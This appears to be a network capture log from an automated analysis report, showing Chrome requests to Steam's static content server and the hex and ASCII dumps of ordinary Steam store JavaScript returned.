2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49731	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	543	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	353	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT ETag: ".zYHOpI1L3Rt0" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=14496553 Expires: Sun, 23 Mar 2025 06:10:07 GMT Date: Sun, 06 Oct 2024 11:20:54 GMT Content-Length: 16087 Connection: close
2024-10-06 11:20:54 UTC	16031	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-06 11:20:54 UTC	56	IN	Data Raw: 20 6a 51 75 65 72 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: jQuery.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49732	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	558	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14200073 Expires: Wed, 19 Mar 2025 19:48:47 GMT Date: Sun, 06 Oct 2024 11:20:54 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:54 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
2024-10-06 11:20:55 UTC	15833	IN	Data Raw: 2e 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d Data Ascii: .append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 65 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f Data Ascii: ent .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_
2024-10-06 11:20:55 UTC	947	IN	Data Raw: 65 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 Data Ascii: eferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| def
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-06 11:20:55 UTC	914	IN	Data Raw: 30 30 30 30 30 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 00000386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 28 29 3b 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 20 3d 20 73 63 72 6f 6c 6c 4f 66 66 73 65 74 2e 74 6f 70 3b 0d 0a 09 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 20 73 63 72 6f 6c 6c 54 6f 70 20 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 43 41 6a 61 78 49 6e 66 69 6e 69 74 65 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 72 6f 6c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 53 63 72 6f 6c 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 74 68 69 73 2e 6d 5f 62 4c 6f 61 64 69 6e 67 20 29 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 0d 0a 09 76 61 72 20 69 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 Data Ascii: 00004000s();var scrollTop = scrollOffset.top;$J( "#" + this.m_strElementPrefix + '_scroll_top').val( scrollTop );};CAjaxInfiniteScrollingControls.prototype.OnScroll = function(){if ( this.m_bLoading )return;var iNow = new Date(
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 65 6e 74 3b 0d 0a 09 09 09 7d 0d 0a Data Ascii: ent;}
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0d 0a 0d 0a 09 09 09 5f 74 68 69 73 2e 6d 5f 66 6e 4f 6e 43 68 61 6e 67 65 28 20 5f 74 68 69 73 2e 6d 5f 6e 56 61 6c 75 65 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 7d 0d 0a 09 09 76 61 72 20 6e 49 6e 69 74 69 61 6c 50 6f 73 69 74 69 6f 6e 20 3d 20 70 61 72 73 65 49 6e 74 28 20 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 63 73 73 28 27 6c 65 66 74 27 29 20 29 3b 0d 0a 09 09 76 61 72 20 6e 53 74 61 72 74 44 72 61 67 58 20 3d 20 66 6e 47 65 74 50 61 67 65 58 28 20 65 76 65 6e 74 20 29 3b 0d 0a 0d 0a 09 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 2e 43 53 6c 69 64 65 72 20 74 6f 75 63 68 6d 6f 76 65 2e 43 53 6c 69 64 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 Data Ascii: 00004000_this.m_fnOnChange( _this.m_nValue, true );}var nInitialPosition = parseInt( _this.m_$Grabber.css('left') );var nStartDragX = fnGetPageX( event );$J(document).on( 'mousemove.CSlider touchmove.CSlider', function( event )

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49733	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	542	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15552000 Expires: Fri, 04 Apr 2025 11:20:54 GMT Date: Sun, 06 Oct 2024 11:20:54 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:54 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b Data Ascii: 0000C000function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };
2024-10-06 11:20:55 UTC	15833	IN	Data Raw: 68 6c 69 73 74 43 6f 75 6e 74 28 20 64 61 74 61 2e 77 69 73 68 6c 69 73 74 43 6f 75 6e 74 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 Data Ascii: hlistCount( data.wishlistCount );if ( typeof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, div
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 73 65 72 50 72 65 66 65 72 65 6e 63 65 73 2c 20 73 74 72 50 61 63 6b 61 67 65 58 4d 4c 56 65 72 73 69 6f 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 73 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 65 72 6d 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 54 65 72 6d 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 20 3d 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 20 3f 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 29 20 3a 20 24 4a 28 27 23 73 65 61 72 63 68 74 65 72 6d 5f 6f 70 74 69 6f 6e 73 27 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 3d 20 65 6c 65 Data Ascii: serPreferences, strPackageXMLVersion, elemSuggestionCtn, elemSuggestions ){var $Term = $JFromIDOrElement(elemTerm);var $SuggestionsCtn = elemSuggestionCtn ? $JFromIDOrElement(elemSuggestionCtn) : $J('#searchterm_options');var $Suggestions = ele
2024-10-06 11:20:55 UTC	947	IN	Data Raw: 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 22 20 2b 20 73 41 64 64 54 6f 43 61 72 74 49 44 20 29 3b 0d 0a 09 6c 65 74 20 65 6c 55 70 64 61 74 65 42 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 62 74 6e 5f 71 75 61 6e 74 69 74 79 5f 75 70 64 61 74 65 5f 22 20 2b 20 73 49 64 53 75 66 66 69 78 20 29 3b 0d 0a 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 6c 65 74 20 73 51 74 79 20 3d 20 65 6c 46 69 65 6c 64 2e 76 61 6c 28 29 3b 0d 0a 09 09 6c 65 74 20 73 51 74 79 4d 61 78 20 3d 20 65 6c 46 69 65 6c 64 2e 61 74 74 72 28 20 27 6d 61 78 27 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 4d 61 78 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 4d 61 78 Data Ascii: utton = jQuery( "#" + sAddToCartID );let elUpdateButton = jQuery( "#btn_quantity_update_" + sIdSuffix );try{let sQty = elField.val();let sQtyMax = elField.attr( 'max' );let nQty = parseInt( sQty );let nQtyMax = parseInt( sQtyMax
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: 00004000nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 68 28 20 66 75 6e 63 74 69 6f 0d 0a Data Ascii: h( functio
2024-10-06 11:20:55 UTC	7914	IN	Data Raw: 30 30 30 30 31 45 44 45 0d 0a 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f Data Ascii: 00001EDEn() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( $Scro
